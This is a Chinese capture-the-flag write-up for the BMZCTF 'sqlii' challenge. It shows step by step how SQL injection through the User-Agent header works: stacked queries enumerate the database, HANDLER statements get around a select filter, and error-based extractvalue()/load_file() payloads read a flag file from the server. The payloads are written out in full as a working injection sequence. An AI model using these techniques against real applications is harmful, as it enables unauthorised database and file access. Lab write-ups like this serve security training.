BMZCTF:sqlii
  TEZNKK3IfmPf 28天前 18 0

 

http:///challenges#sqlii

BMZCTF:sqlii

 

BMZCTF:sqlii

 

BMZCTF:sqlii

 

回显了User-AgentIPuname数据,猜测讲这些数据插入了数据库然后查询返回,结合上图别打头,猜测就是User-Agent注入

User-Agent: 'order by 5#

BMZCTF:sqlii

 

很明显存在注入,接着就是fuzz,测试的过程中发现过滤了

select
delete
drop
insert
alter
where
prepare
set
.......

并且发现存在堆叠注入

User-Agent: ';show databases;#

BMZCTF:sqlii

 

发现sqli库下存在一个比较奇怪的表

User-Agent: ';show tables from sqli;#

BMZCTF:sqlii

 

看一下这个表的字段

User-Agent: ';show columns from sqli.23323333;#

BMZCTF:sqlii

 

发现fllag字段,尝试查询sqli.23323333中的fllag字段。这里虽然过滤select,但是有堆叠,可以尝试使用handler来查询数据

BMZCTF:sqlii

User-Agent: ';handler 23323333 open;handler 23323333 read first;#

BMZCTF:sqlii

 

但是不知道为啥没有数据,读了一下别的表是可以读到第一条数据的,猜测这个sqli.23323333表中没有flag,flag应该在服务器上,那就要尝试文件读取了。

查看下有没有使用load_file()的前提条件

User-Agent: ';show global variables like '%secure%';#

BMZCTF:sqlii

 

secure_file_priv的值为空,有条件利用load_file(),但是这里因为select被过滤无法利用联合查询,但是这里有报错回显,可以用报错注入,虽然updatexml()被过滤,但是还可以使用extractvalue()

User-Agent: 'or extractvalue(7,concat(0x7e,user(),0x7e));#

BMZCTF:sqlii

User-Agent: 'or extractvalue(7,concat(0x7e,load_file('/flag'),0x7e));#

BMZCTF:sqlii

 

因为报错函数只能回显32位数据,这里mid()截一下读一下后面的即可

User-Agent: 'or extractvalue(7,concat(0x7e,mid(load_file('/flag'),20),0x7e));#

BMZCTF:sqlii

 

【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 28天前 0

暂无评论

推荐阅读
  TEZNKK3IfmPf   2024年03月29日   13   0   0 sql
  TEZNKK3IfmPf   28天前   19   0   0 sqlUser
TEZNKK3IfmPf